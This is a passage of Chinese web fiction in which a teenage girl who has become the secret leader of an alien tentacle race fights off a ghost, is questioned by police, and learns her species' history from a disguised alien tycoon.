温布惊垂眸,一笔一画认真写着:这是好事,它们能够保护你。
“不。”温茉打开手电,走到祭台前为它上了几炷香,香火慢悠悠在空中飘扬,一点点修复着温布惊残破的身体。
温布惊感到好受多了。
温茉:“它们看中的是我日后产卵的能力,要是我拒绝配合,我不觉得自己会有什么好下场。”
“我吃掉了“班长”成为新的首领,是不是意味着别的怪物也能吃掉我成为新的首领?”
温布惊的嘴巴慢慢长了出来,它说:“不会的,你不一样,相当于新型号。它们应该舍不得放弃你。”
温茉盯着遗照中笑容甜美的小男孩
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,眼中思绪颇深:“我留在人类社会会更加安全,要想办法把这些怪物赶远点。”
“啊啊啊啊啊都去死吧!!哈哈哈哈!”顶楼爆发出一阵惊悚的尖笑,随后已经安静许久的衣柜重新发出沉闷的撞击,三两下后,昏迷中的段双双硬生生踹开柜门站到了窗边。
温茉再次把他扯下去,温布惊飞出去一圈后,焦急地说道:“不好!几栋楼所有的幸存者都被这个女鬼影响,要跳楼了!”
整片小区所有窗户都安装了防盗窗,连楼道都是封住的,唯一的跳楼点位在天台,温布惊看到还有那么多幸存者,还来不及喜悦,就只能眼睁睁看着他们被控制着走上顶楼。
女鬼和怪物打得有来有回,怪物的触手就像狗皮膏药,硬生生从女鬼身上刮下一层层皮,女鬼吐出的鬼火也不容小觑,已经烧死了近十只有三层楼那么高的怪物。
灰烬从天空纷纷扬扬飘落,带着刺鼻难闻的气息,树下的鸟儿接二连三地倒下,所有吸入那些仿佛烧纸钱灰烬的幸存者,都中毒般失去意识口吐白沫。
边缘区域的小怪物挤不进天台的战场,它们注意到了那些从藏匿地走出的幸存者,都兴奋地扑了过去。
温茉立刻联系它们,紧急叫停:不许杀人!不然我就死给你们看!!
怪物们卷住了幸存者,也只能悻悻松开,人类的皮肤很娇嫩,所有跟触手相碰的皮肤都被撕下一层皮,但他们仿佛感知不到痛苦,继续麻木地走着。
只有少数几个年纪小的孩子,被身上强烈的剧痛唤醒意识,但他们还来不及为身边的怪物尖叫,下一秒就接二连三往下跳。
“啊!”
在跳下的一瞬间,女鬼的影响就消失了,他们控制不住地发出尖锐的哭喊。
“咻咻——”几道灰白的身影影子般掠过身边,更快地到达地面,然后伸出触手接住了他们!
温茉给附近所有怪物下达了救人的命令,但也许是因为这一行为与前首领下达的命令相违背,怪物反馈的信号极其抗拒,温茉带上了更激进的情绪,它们才乖乖行动。
她脸色发白,头痛欲裂,脑袋像被针尖扎过。
在温布惊的搀扶下,温茉慢慢躺回床上,苦笑一声:“想不到,有一天我的命还能用来威胁外星人。”
温布惊哑然,拍了拍她的手。
天台的战斗已经接近尾声。月光下,女鬼只剩下一副骷髅架,身体的“血肉”全被生生撕扯掉,它脸上的缝合线已经崩开,整张脸四分五裂。
它倒在一堆灰烬中,长发遮挡的脸张狂地大笑着,森森鬼眼中是胜利的欣喜。
突然,温布惊出现了,女鬼笑声止住:“不、不!!滚开!”
“当了回螳螂。”温布惊蹲下,眼里满是得意,“谁让你没有一个厉害的妹妹呢?”
它把女鬼团成一个球,越捏越小,接着一口吞下。
温茉确信自己耗费了太多的精神力,跟怪物沟通简直就像是做了几百道高难度数学题,过后大脑极度疲惫,在用尽全力发出最后一道命令后,她又尝到了鼻腔流下的脑髓液。
她呕出一口淡红的血,彻底昏睡过去。
*
“温茉!温茉!”越来越大的呼唤在梦境回荡,将温茉从血腥的梦境中拉回现实,看到她睁眼,段双双十分狂喜。
昨天温茉把他反绑了起来,这会他倒在地上,像条虫子一样蛄蛹,“我靠!谁把我绑住了?窗户怎么烂了?昨晚发生了什么啊!?”
温布惊扶着温茉起身,在她耳边低语:“军队来了。”
温茉点点头。
14. 第 14 章
温茉替段双双解开绳索,段双双一脸不忍地盯着她,“你怎么身上都是血?”
温茉:……
昨晚被血污兜头淋了一脑门,温茉还没来得及清理就昏死了,她后知后觉地扯了扯黏糊糊的衣服和头发,段双双赶紧低头检查自己,除了些擦伤外一切正常,反观温茉像是爬过尸山一般。
段双双有一肚子疑问,但温茉已经急吼吼地冲进浴室洗澡,听着水声他莫名有些尴尬,于是小心翼翼靠近大开的窗边探头往外看。
这一看可不要紧,他的眼眸瞬间亮了!楼下停着几辆黑压压的坦克,拿着枪的军人搀扶着幸存者,两个白大褂军医简单地为伤者做检查包扎。
一条黑白相间的狗围着搜救犬摇尾巴,是钱弓家的边牧!
段双双喜上心头,立刻探出身体挥手:“这里!兵哥兵姐这有有幸存者!”
温家楼层低,他嗓门大,地面上所有人都抬起了头,一个军人抬了抬帽子,见是一个精神十足的小伙子,回应道:“怪物都消失了!自己下来吧!”
彭周和罗木刚到,他们跳下军卡,那名军人立刻上前汇报:“彭队,这个小区的情况太奇怪了,从遗留的痕迹来看,这里明显有超过几十只完全体的外星虫族聚集过,但幸存者却不少。”
彭周一双鹰眼环视四周,抬步朝温家的居民楼走,“再奇怪能有半夜虫族集体撤退消失奇怪?”
军人沉默片刻,追上压低声音道:“彭队,这些幸存者都昏迷在地面,身上带有触手撕扯过的痕迹,为什么那些虫族没有杀了他们?况且,有几个藏在楼里的小孩说,昨晚所有人一齐跳楼,是怪物救了他们?这怎么可能!”
罗木一脸困倦,闻言来了精神,他手肘捣了捣彭周,“队长,让我去审问吧!?这太有意思了!”
彭周顿了顿,“先把他们带回去再说……”
楼道噔噔噔响起一阵沉重的脚步,段双双张开双臂一头窜下来,彭周迅速闪开,罗木被撞了个满怀,他一把将人摁下。
“兄弟,你想干啥?!”
段双双龇牙咧嘴:“疼疼疼!兵哥我太激动了而已……”
他的脸被压在地面,再抬起时脸颊沾上了些灰烬,彭周注意到了,他蹲下,手指在地面剐蹭一下,仔细辨认后吩咐道:“勘测这些灰烬的范围,取些样本送到研究院跟学校的对比。”
“是。”军人欲言又止,他认出了段双双,笑了一下把他从罗木手里救出来:“有伤口吗?来这边……”
“嘶,我手臂有些脱臼……”
他们的声音渐远。
彭周心里酝酿着一会儿见到温茉的说辞,他捂着鼻子上楼。温家的门是敞开的,他装模作样轻轻敲了敲就走了进去。
他迅速环视客厅,敏锐地听到卧室方向洗澡的水声,他还没开口,温茉模糊的声音从中传出:“彭队自便,稍等我一个小时!”
太脏了,实在是太脏了!
温茉恨不得洗掉层皮,她用光了所有的洗发水和沐浴露,直到皮肤隐隐作痛才停下。
穿戴好后她对着镜子检查,确认头顶完整没有奇怪的触手,才安心走出去。
彭周一身正气端坐在沙发上,自己泡了杯咖啡喝,有温步惊的提醒,温茉知道这男人早就把她家翻了个底朝天。
温茉笑眯眯上前:“彭队,谢谢你把我爸的遗体运走。”
彭周差点没噎着,他指了指桌上的卫星电话:“羊局让拉走的。”
这小姑娘的小鬼不会一直盯着他的吧?
怪不得一进门身上就发冷。
“我妈妈!”温茉眼底涌出喜悦,伸手抓起电话,彭周放下杯子,慢悠悠道:“羊局现在很忙,别打了,她交代我看好你,不久后带你去研究所。”
看到温茉警惕的表情,他嗤笑一声:“别怪我,官大一级压死人,她质问我为什么放跑你,我只能什么都交代了。”
温茉往后退两步,“你们想知道什么。”
彭周叹气,摇了摇头:“是上面想知道什么,温茉,你该幸运自己有个好妈妈,她能护住你。”
“按照流程来说,应该由我先拉你去审问一番,然后送你到研究所躺冰冷的实验台上开膛破肚。”
“实验室那些老头子们已经迫不及待了,恨不得让我变出翅膀带你飞过去。”
见温茉像猫炸毛般瞪着自己,他耸了耸肩,眼里带着笑意,“好吧,没那么严重,应该就是研究研究你的眼睛和大脑,其余我就不知道了,但是你妈妈会陪同,所以不会把你剖了。”
温茉慢慢坐到沙发上,一脸失落:“为什么我妈妈要告诉那些……研究员?”
“瞒不住的。”彭周声音低沉:“学校、小区的所有异样,层层排查下来早晚会查到你,小朋友,不要质疑国家的能力。”
“再者,你的能力确实很重要,你妈妈身处那个位置,这样的选择也无可厚非。”
“我妈妈有说其他的吗?”
“没有。”
温茉只觉得心里不舒服,爸爸死了,但妈妈好像完全没有伤心,连对她一句关心的话都没有。
彭周带着温茉走,出门前,温茉回望过去十几年居住的地方,问:“我以后还有回来住的机会吗?”
彭周:“短时间内不太可能。”
温茉:“好。”
她最后收拾出来三个行李箱,分别装着她和羊雅芝的衣服,还有温步惊的遗照。
遗照对一只鬼来说太重要了。
彭周黑着脸,如同保镖般一边肩膀扛着一个行李箱走出大楼,他们耽搁太久,搜救完幸存者后军队早走了,只剩罗木靠着车门等待。
看见自家老大,罗木立刻迎上去,越过他抢过温茉手里的箱子,殷勤道:“我来!”
“怎么能让胆战心惊的幸存者干粗活呢!”
彭周:“……”
温茉浑身干干净净香喷喷的,头发柔顺,小脸白嫩,因为休息充足面貌精神昂扬,反观已经一天一夜没合眼还扛着枪战斗许久的彭周胡子拉碴,面容憔悴,眼睛混。两人站在一起有点像地主家的小姐和抢收粮食的长工。
彭周忍无可忍,一脚踹上罗木的屁股,罗木笑得像条谄媚的狗,“队长!你粗鲁了!我又不是不帮你!”
他将二人推进车子,自己当起了司机,一脚油门下去飙了出去。
车窗外的惨状无处不见,彭周和罗木两人插科打诨说着玩笑话,尽量让氛围不那么沉闷。
温茉抱着温步惊的遗照坐在后排,温步惊闭着眼睛趴在她背上,像是睡着一般。
主干道已经被清开,废弃的车子被暴力地推到两旁,远处间隔响起爆炸和轰隆隆的碾压声。
温茉:“路面清理得这么快吗?”
彭周抱胸陷入副驾椅子里,打起了轻轻的鼾声,罗木从后视镜看她一眼。
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>“是啊,怪物都不见了,现在是灾后抢救时期,咱这又是在城市,把路清开非常重要。官方救援快,幸存者们也可以沿着道路自己找到安全区。不过也就清出了几条密度高,位置上四通八达的,剩余的只能逐步进行。”
温茉:“这好像是回体育场的路,彭队说带我去研究所。”
“羊局在体育场,好歹你们先见一面。”罗木说道:“而且研究所也有不小的骚乱,好家伙,我听说好几个厉害的大拿都变成怪物了,跟政府机关一样,都被渗透成马蜂窝了!”
“彭队说这些虫族的进攻很整齐,就像是在执行某种命令。可惜了,我们至今没见到过疑似首领的虫子。”
温茉:“……这样,确实可惜。”
她这个新上任的首领莫名有点心虚,也许是因为罗木愤恨的语气,也许是因为她突然意识到自己现在其实是人类的对立面。
罗木转移话题:“不说这些沉重的了,咱们聊点轻松的。”
他打转方向盘,轻飘飘扔下一个炸弹:“我刚得知,A市长死了。”
“保真?”温茉非常惊讶,赵雷明明还跟她妈妈打过电话,说市长好好的!
“真的不能再真了!”罗木伸出手夸张地比划着:“半夜虫族们突然大批撤退后,市长才出门,接着他的司机就变成虫子连人带车端了!谁知道那些怪物能藏这么久?在所有人松了口气的时候搞这出!”
“这是我兄弟祝狗亲眼看见的,而且那只虫子顶着枪林弹雨和一身火逃了,简直是奇耻大辱!”
“现在的高层死的死,伤的伤。”罗木哎嘿一声:“羊局现在算是非常有话语权的了,高层肯定要重组,你到时候可要帮我们彭队美言几句啊,最好升升职,提个少将啥的!”
“庸俗!”彭周停止打鼾,狠狠敲了他脑袋一下,“我现在挺好的!管的事不多不少刚好,不操心。”
“嘿嘿。”罗木开玩笑般:“乱世出英雄,彭队,兄弟也想当当将军的副手嘛。”
彭周:“啧。”
温茉笑眯了眼:“好,我一定美言。”
彭周怀里的卫星电话急剧响铃,他附耳聆听,面色瞬间冷硬,撂下电话,他头疼地扶了扶额头。
“该死的臭虫……”
温茉:“怎么了?”
她都让虫族撤退到海洋了,还能出什么事?
彭周:“我国已经偃旗息鼓,但全球其余国家,刚才同一时间发生了虫族暴乱。”
“并且那些虫子与我国不同,简直太匪夷所思了……我们可能要去支援国外了。”
“什么!”罗木快跳起来了,“凭什么,我们出事他们都在看笑话!轮到他们了就摇人是吧!”
“哎。”彭周摇了摇头,眼里满是沧桑:“一些小国实力太弱了,没办法。”他搓了搓脸,开始有些怀疑算命的给他批的命:中年贵人相助,晚年安详。
他现在怀疑自己真的能活到晚年吗?
温茉抓住重点:“哪边的虫子有什么不同?”
彭周眼含忧愁:“你们能想象到人类的身躯被拉长至几米像只蜈蚣般移动,全身的肌肉萎缩骨化,整条身体硬得像金刚钻那样吗?普通的枪炮根本没用。”
“这些骨化虫族甚至会游泳。”
罗木干笑两声:“不是吧,难不成还能一直游到护照变红吗?”
彭周沉默。
温茉沉了沉眸子。
15. 第 15 章
从体育场门口下车,温茉立刻被转移上一辆警车,乌拉乌拉地开往警局。
审讯室的灯光冰凉刺目,温茉对面是一群老刑警和心理专家,像狼盯着猎物般不放过她脸上一丝表情。
“温茉,关于你所说的这些,我们已经派人去找那老和尚查证了,希望你不要有任何隐瞒。”
温茉:“嗯。”
“那么,再说说你昨天一整天的行动轨迹吧。”
温茉:“已经说过三遍了还不够吗?”
“请你配合。”
温茉深吸一口气,心理压力倍增,她再次将原说辞一字不差重述,除去隐瞒了一些事情,她没有说一句谎话。万幸的是,这遍结束后,他们没有再揪着不放了。
“能把昨晚两鬼打架的经过说得更详细吗?”
他们继续咄咄逼人,负责记录案件的小伙子推了推眼镜,笔唰唰唰地记录着,温茉心里很烦躁,尤其是隐约得知厚重黑暗的玻璃板后面站着一堆高层和羊雅芝,她就觉得自己像个刚开智的猴,被无数异样的眼光盯着。
温茉舔了舔唇,泄气般靠坐着,眉心皱起,隐隐带着不耐烦:“半夜我被砸玻璃的声音吵醒,看到几根触手伸了进来,他们撕碎了防盗网想要钻进屋子,我的小鬼就跟它们打起来了。”
“但是另一只女鬼突然出现发力,所有人都不受控制地要跳楼,我拼命把段双双捆住,但自己也想跳楼,然后那只女鬼突然跟那些怪物打了起来,我就昏过去了。再醒来就是第二天了。”
“你亲眼见到那只女鬼跟怪物打架吗?”
温茉:“差不多,它们是在楼顶打起来的,我听到了嘶吼,好像就是打起来的时候,我想跳楼的冲动就淡了。”
“你为什么昏过去。”
温茉:“那些虫族太巨大了,我从来没有见过那么大的,总之各种压力下我昏死过去了。”
“我们以为你一直很冷静。”
“我性格比较沉稳。”温茉面无表情地盯着他们:“我如果不够冷静,可能醒来就疯了。”
“你们还要问几遍?我是什么犯人吗?”
“好吧。感谢你的配合。”一直抱胸盯着她的一位老刑警开口,算是为这场审讯画上句号。
他们为温茉解开了手脚镣铐,温茉被带出去,大厅站着一位高大的女性,她放轻脚步,鼓起勇气抬头。
羊雅芝将她揽进怀里,跟那些人说:“这个孩子我就带走。”
羊雅芝满身疲惫,身上有浓重的火药味和汗味,但温茉不觉得难闻,反而还有种淡淡的心安。
警局里乱糟糟的,走廊上挤满了来回奔跑的人,羊雅芝把温茉带到自己的办公室,桌子上放着一杯热牛奶和快餐意面,温茉饿坏了,立刻吃了两口,她笑着抬头,却在触及羊雅芝失望的眼神后僵住了。
羊雅芝站的笔直,手里的热茶冒着袅袅白烟,她罕见地点了根细烟,垂眸盯着温茉。
温茉咽了咽口水,放下叉子,羊雅芝轻轻开口:“温茉,妈妈对你很失望。”
温茉一时间有些不知所措。
羊雅芝:“这么大的事,你为什么要瞒着妈妈?你还是个孩子,有些事你根本处理不好。”
“我怕你们不相信……”温茉鼻子一酸,眼眶慢慢变红,她只觉得羊雅芝的眼神像火一般滚烫。
“事情发生得太突然了,我还来不及——”
“算了。”羊雅芝打断她:“你大了,有自己的想法,我不干涉。”
“叩叩。”门被敲响。
温茉肩膀绷得很紧,紧紧盯着坨掉的意面酱,羊雅芝软了嗓音,掐灭烟头拍了拍她的脑袋。
“你在这好好休息,妈妈去开个会。”
门开合又关掉,温茉眼泪大颗大颗往下掉,一直缩在角落的温步惊心疼地抱住她,略带担忧道:“妹妹,我觉得你没做错什么。”
温茉哽咽,抬手揉着眼睛,“我以为妈妈会抱着哄我的,我已经很害怕了呜呜。”
记忆里,羊雅芝就没凶过她,温茉一时间难以接受,她草草把食物吃完,失魂落魄地推门而出。
门口的两个守卫寸步不离地跟着,温茉跟他们说:“我要回体育馆。”
他们用对讲机呼叫一番,得到准允后开车把她送去体育馆。
警局有太多的鬼魂,鬼嚎和人声交织,温茉脑袋都要炸了。
体育场又容纳了更多的幸存者,人声鼎沸摩肩接踵,相较于警局,这边的鬼魂数量稀少,不知道是什么原因,温茉闻到的只有汗臭和血腥气,温步惊抽了抽鼻子,斩钉截铁:“有诡异来过。”
“真麻烦。我去附近巡视了,妹妹,有情况我就回来。”它说。
“好。”
人间大乱,鬼界亦如此,想到那只能驱使整个小区的人跳楼的诡异,温茉莫名担忧起了未来。
以后人类的敌人不仅有虫族还有诡异。
这次全世界内死亡事件大量激增,对于恶鬼们来说简直就是狂欢节。
温茉离开警局有些负气的意味,主要是她也想不到去哪里,她回到操场原来的小房间,在门口听到断断续续男女混合的哭声。
声音的主人是赵雷和他妈妈。温茉默默走开,找了处靠墙的位置蹲下,两个穿警服的小跟班实在太显眼,一个有些眼熟的军装男靠近。
温茉回忆:“你是……彭周的人?”
“说得怪暧昧的。”祝修燃扔了一根香肠给她:“怎么又回这了。”
温茉有些不自然,她转移话题:“彭周……”
“已经飞去南方大陆了。”祝修燃嚼着口香糖,“有几个小时了,那边的人变成了很多奇奇怪怪的动物,咱们的枪炮也好解决。”
南方那块大陆独立于海洋中,森林山区资源丰富,毒物多,人口沿海岸线密集居住,虽然人人都会用枪,伤亡仍是很严重。
但是跟西方那些骨化虫族怪物相比,还是血肉之躯好对付,政府没听那些大国的命令,派兵出海往南了。
骨化虫族主要在西方大国,他们手里可捏着比华国更先进的武器,根本用不着操心。
“这么急?”温茉皱眉,要知道事出以来彭周他们一直在忙,连休息都很少,就算全国各军区都很混乱,但怎么也轮不着首都千里迢迢派兵……华国海军可不少。
“谁让中央高层死那么多人,就连总理都……现在各军区都哭弱,推辞不愿意出兵。”
这种国际救援的事怎么都不能推诿,只能中央派兵。
温茉沉默,她想起市长的死,即使玉石俱焚也要把高层干掉,看来虫族也知道怎么让一个国家元气大伤。
幸好“班长”死了。新首领温茉目前的人类意识非常清醒,华国接下来会安全一段日子。
祝修燃吐槽完,心里舒服了不少,温茉问:“你怎么没走?”
他敲了敲夹在胳膊里的电脑,“技术兵,主要靠脑子吃饭。”
有人喊祝修燃,他应了一声,走前告诉她:“新救回来一个小姑娘,姓桑,一直在找你,给她安排到你们学校那边了。”
“知道了。”
温茉对两个警卫说:“不要离我太近,保持五米距离就可以。我又不会逃跑。”
警卫互相看了看,随后点头。
永夕一高仍旧在
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原来的位置,混杂的人群中校服很是显眼,温茉一眼就看见了穿着睡衣披着毯子缩在边缘,沉浸在自己情绪中的桑兰。
她沿着跑道走过去,拍了拍她的肩膀,桑兰反应敏感的一哆嗦,抬头见是她,流露出如释重负的表情。
她表情苍白,凑到温茉耳边:“我们小区好多怪物,还好那个老头鬼帮助我,我才能躲到救援来。”
“那还挺好。”
“有件事很诡异,温茉,我发现灾难后,鬼魂居然可以出现在白天了?这太不可思议了,你知道我走到大街上……都快要吓死了!”
“就是好像还是不能离开死亡地太远太远,不然我肯定叫老鬼跟我一起。”
温茉眨眨眼,经过她的提醒,后知后觉地反应了过来,因为玉镯的原因,温步惊天天挂在她身上,已经习惯了。灾难后她身上发生了太多事,还真没注意到!
这也不知道是好还是坏。她还没开口,桑兰又说:
“温茉,我爸爸打听到你因为眼睛的事情被调查了。你说,我也要告诉他们吗?我,我连我爸爸也没告诉。”
桑兰的阴阳眼是天生的,温茉的是后天的。温茉摇了摇脑袋,低语道:“桑兰,我尚且不确定自己的结局,你先藏好,你家没有从政的,没有势力护住你。”
“好,对了,你……哥哥在吗?”
“它去周围巡查了,不久前有诡异来游荡过。”
桑兰点点头,“我很害怕,温茉,你说为什么一觉醒来,就世界末日了呢?”
“我爸爸说,家里的产业估计崩盘了,存在银行里的不知道还能不能正常使用,我家以后要怎么办啊?”
“你说我们以后还能正常上学工作吗?”
温茉抱住她,下巴抵在头顶:“桑兰,你还有亲人在就是最幸运的,我爸爸死了,幸好还有妈妈,只要她还在,我就会好好活着。”
桑兰擦了擦眼泪,“我刚才看到我男神了,我想去找他说说话。”她晃了晃温茉的胳膊:“你陪我去行吗?”
钱弓此刻正在哄他生闷气的妈,因为被救走时店里许多东西都被抢走了,偏偏那些撒泼的老头老太不敢骂不敢碰。
钱弓劝得口干舌燥:“就当破财消灾了呗。妈,等以后社会稳定了,我给您开十间八间!”
“平时一副高知识分子的吊样,抢东西比谁都快!”他妈妈往草地上啐了一口。
钱弓养的边牧吐着舌头笑,睿智的双眼灵活地望着四周。
见到温茉和桑兰,它立刻站起来吠了几声,钱弓呵斥:“肥豆!安静,坐!”
肥豆嘤嘤叫,将脑袋塞进他怀里。
“是你们啊,大家都活着,真好!快坐。”
钱弓双眼一亮,脱下外套铺在地上,桑兰朝他笑笑挽着腿坐下。
温茉拉上帽兜坐在旁边,钱弓妈妈立刻拉住她的手,关切地一通询问,然后推着几人起身。
“哎,要领餐了,你们快去排队吧,阿姨守着东西。”
队伍绕着跑道排了很长几圈,三人夹在队伍中排着,互相交流着自身经历。过了会儿,一个儒雅的男声从身后传来,“桑兰,不要乱跑,我找了你好久。”
桑兰立刻回头,怯弱道:“爸爸。”
温茉无意间转身,跟那张经常登上财经新闻的脸对视。
糟糕,头好痒,温茉拉紧帽子系带,掩藏住头顶的异样。
怎么回事,触手又长出来了。
温茉立刻捂着肚子弯腰,“我有点不舒服,先离开一下。”
西装革履的桑乘青意味深长看了她一眼,手指某个方向:“卫生间在那边。”
16. 第 16 章
桑乘青是一位气质非常儒雅的男人,他有西方血统,五官不算多出众,皮贴骨,眼窝深颧骨微高,单眼皮肉量感薄,眼尾拉得很长,淡淡的眉不是传统男士的剑眉,弧度略平。
即使处于中年状态,他身材依然修长有型,西装革履,喷淡雅的木质调香,杂志对他的评价是被股票耽误的超模,想跟你打交道时眼神很柔和,嘴角会噙着一丝微笑,但绝大多数情况下,他看人偶尔撇过的眼神都流露着刻薄和算计。
——以上都是温茉通过财经新闻对桑乘青的了解,毕竟他是国内数一数二的黄金单身汉,盯着他的媒体比天上的星星还多。
所以说,这种仿佛随时随地都能变出一张会议桌开会的人怎么都不像是偷窥女厕的变态吧!?
温茉坐在马桶盖上,看着门缝下的那双做工精细的皮鞋,沉默片刻,她道:“想干嘛?”
“咚咚。”桑乘青关节轻叩门板,嗓音低沉,“方便的话,聊聊吧?我们是……同类”
他轻笑,最后的两个字音咬得很重。
同类?
温茉想到头顶的触手,是见到他后才强行破出的,这么说桑乘青也是虫族!?但他为何没有退出陆地?
最重要的是,那个“刘玉芬”大婶和“班长”都曾说过,寄生人体后外貌会不受控制地演变为原本形态。
可他看起来太正常了,左看右看都是一个人类高质量男性。
温茉长长的睫毛颤了颤,窗口的排风扇噪声很重,扇叶把光线切割为一条条,照在温茉的头顶上,两根紫色触手自动地躲避着有些炽热的阳光,像打了霜的茄子一样分别伏倒在头发上。
她伸手摸摸肉嘟嘟的小触手,心一横戴上帽子走出坑位,微抬下巴拽拽道:“在这聊?”
放饭是按人头,这个时间男女老少都在排队,女厕现在没人,这也是为啥桑乘青敢大摇大摆跟进来。
消毒水的味道很重,角落的水龙头漏水,渗水的墙壁爬着只壁虎,镜子沾满水渍,洗手池角落还站着一只一动不动的篮球服鬼。
这个环境对于两个体面的虫族第一次会晤来看怎么都很格格不入。
温茉无所谓,桑乘青显然是个很有格调的男人,他用手帕捂着鼻子,侧身做出“请”的手势。
“只要还活一天,就要生活精致。”
两人走出体育场,坐上桑乘青的加长版豪车后,温茉听到这番感言,他跷着二郎腿露出红皮底,手里摇晃着酒杯,冰块在其中发出丁零当啷的脆响。
“请自便,冰箱里有你们小孩爱吃的。”
“那我不客气了。”温茉取了瓶酸奶和一块提拉米苏,在他对面坐下。
车窗贴着防窥膜,隔音效果也很好,在自己的领地,桑乘青姿态放松,他揉了揉眉心,上半个脑袋变为一圈粗壮湿润的青灰色触手,非比寻常的是,这些一米多长的触手没有吸盘,眼睛都是闭上的,尖牙只有零星几个。
他轻啜酒杯,喉结滚动咽下一口酒,一只虫族在品酒,没有任何杀气,这画面怎么看怎么怪。
“把帽子拉下去吧。”他说。
颜色跟普通虫族不一样,温茉觉得他应该是什么厉害角色,于是温顺地露出头顶,青灰色的触手尖尖轻轻碰了碰紫色触手后,打开冰箱卷来些冰块递过去。
温茉的小触手立刻卷着冰块,冰冷的寒意从天灵盖直冲大脑,温茉有些闷胀的脑袋好受多了,眉心隐隐控制不住的戾气仿佛也平淡了些。
桑乘青脑袋变为正常,他道:“咱们发源于极寒深海,喜阴,以后你会越来越喜欢并且能承受更极端的寒度。触手就是你脑子的一部分,注意不要热到它们。”
温茉一拍大腿:“怪不得我洗热水澡越洗越累,越洗越想发火!”
“呵呵。”桑乘青发出一阵老钱笑:“你出生得太突然了,对于我族各方面要注意的都知道得不多吧。”
“我今天来,就是要给你科普科普的,不然我才不借着桑兰来这臭气熏天的地方。”
也许是他浑身散发着自信和温和,温茉对他没那么抵触,眨巴着大眼睛认真注视他,像课堂上会跟老师互动的三好学生一样。
“请讲,叔叔,你真的跟那些普通虫子很不一样。”
“别叫我叔叔,按理来说我还要叫你母亲呢。”桑乘青一开口就是一颗炸弹,轰得温茉外焦里嫩,她激烈地咳嗽着,差点没被自己的口水呛死。
温茉使劲摆手,小脸涨得通红:“别,别这么叫。”
桑乘青笑眯眯道:“这是族规,人类不是喜欢各论各的吗?以后咱们就这样,你叫我叔叔,我叫你母亲。”
温茉眼神乱瞟,始终不敢看他,老天奶,这只虫怎么这么大胆。
桑乘青:“不逗你了。先说说我吧,我能一直维持人形模样,是因为我会定期修剪触手,把眼睛和尖牙剪掉,身体所有的力量都用来修复伤口,变异程度就几乎停滞。”
他垂下眸子……但触手是深海一族的骄傲,他的行为被视为耻辱,于是就被逐出族群自生自灭。
怪不得他的触手看起来有些皱巴巴的,原来是自残的原因。
温茉若有所思:“你好像,很享受生活在人类社会。”
桑乘青没有否认,“来到地球后,我发现当人有乐趣多了。酒、烤熟的肉、音乐、舞蹈、性,我爱人类娱乐的这一切。可惜我那些同胞都愚蠢好战……”
“我们是虫族,六百年前生活在拉尼巨人星系的一颗星球上,这颗星球被当时星系的统治者巨人族命名为原初星。意思是一切生命起源的地方。”
“原初星表体有百分之九十都是汪洋,我们触手系就是当时称霸海洋的存在,在鼎盛期,每一只同胞体积都能达到三吨左右,我们的吸盘可以模拟陆地生物的肺,所以上至浅滩海岸,下至几万米深的极寒海底,都是我们的领地。”
温茉:“海洋一霸。”
桑乘青斜睨她一眼:“那很不幸了,你现在是这个倒霉落魄一霸的首领了。”
温茉:……
他继续说:“我们虫族没有发展出具体的文明,就按照那些巨人给我们命名来说吧,我们深海一族是触手系,占据着几乎整颗星球,又因为长了点脑子,所以是巨人族的心头大患。”
“陆地可以简单粗暴地划分为沙漠区和雨林区,骨化系和兽化系是称霸这两区的存在,当然跟咱们比差远了,简直就是小喽啰。”
“可以说原初星属于虫子,但是当年巨人族基因出了问题,他们觉得我们这种能稳定繁衍几亿年的生物具有极强的研究价值,于是数不清的飞船战舰降临,那年我族被捕杀的几乎濒临灭绝,每一朵浪花中都氤氲着同胞的血。”
温茉听得入神,“后来呢,你们怎么逃出来的?”
“全宇宙的灵长类智族一个模样,都有利欲熏心的家伙,我们虫族最后使计谋劫持了一个大集团的飞舰,穿过数个虫洞迁跃到了太阳系,最后隐匿于地球。”
“你可以理解为水土不服,这里的海洋纯度太低,污染太差,深海族极其不适应,而陆地族那两支虽然也受限,但适应力比我们强,很快踩到了我族头上。”
他的寥寥数语,让温茉自动想象出了一出惊心动魄的逃亡之路,呼吸也不由得急促起来,她头顶原本温顺的小触手长出了几颗尖牙,凶神恶煞地把冰块啃食殆尽。
“那……”温茉拍着胸脯压惊,试探着问道:“那虫族现在的目标是占领地球,然后打败巨人族夺回家园?”
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桑乘青叹气:“这是深海族原首领的目标。”他拉长声音:“另外两支没脑子的,就是单纯地想落地生根,霸占地球~”
温茉低头琢磨:“那我,我现在是首领,我们深海族不发起进攻,人类应该很快就可以消灭别的虫族吧。”
“你怎么想得这么天真?”桑乘青劈头盖脸一顿发问:
“你想休战,另外两支允许吗?可别忘了,这次进攻人类是深海族先突然开始的,接着陆地族才出现,发起者拱完火就想跑?哪有这么好的事?”
“就算你能躲,不被陆地族首领找到撕碎,但你的基因已彻底改变,生命以千年起步万年封顶,你该怎样藏匿于人类社会?”
温茉脸色煞白。
桑乘青继续输出:“再者,巨人族找到这里是迟早的事,他们有更先进的科技,一小时内就能锁定你,接着你就可以被开膛破肚了,哦我忘了,你是唯一有产卵能力的虫,你可能会被关起来强制催熟,然后无数的后代被用于研究。”
“你明白吗,你现在唯一的目标就是不要拘泥于人类的情情爱爱,努力变强,这样才能在巨人族到来时,可以死得没那么惨。”
“至于人类被入侵,关你什么事?就暂时让陆地族闹去吧,转移注意力也好,你就趁机默默发育,不要还没跟巨人族打就被人类搞死了。”
“别想着跟人类合作,他们巨人族和人类才是一家,人类就是体型小点,蠢点,长得都差不多,巨人族抛出些高科技,高待遇,人家分分钟抱在一起亲热。”
“忘掉人类的一切,活着迎战巨人族吧,首领的使命就是这样,要为族群和逝去的同胞战斗。”
好沉重的使命……
温茉六神无主:“我该怎么样变强大呢?你会帮我吗?首领能转移给别人吗……”
桑乘青:“你以为这是游戏账号吗想转就转?我建议你心理承受能力强点,也别想着去死。你一死,我那些脑子小小的同胞就要疯了,到时候才是地球的末日。”
“那你帮我……”
“我只能给你提点建议,我和其他有脑子有品位的虫在人类世界混得好好的,半脱离族群了,就想享受生活,而且我已经活了两千多年了,大不了就去死。”
“为什么不帮我。”温茉抓着脑袋,被吓出点点泪花,她头顶的触手像马达一样狂甩,发出噗叽叽的声响。
截至昨天,温茉的人生规划还是老老实实当人,以后做个医生,现在他告诉她,她死也不行,活着不变强以后就要被当盘菜切?
温茉精神恍惚。
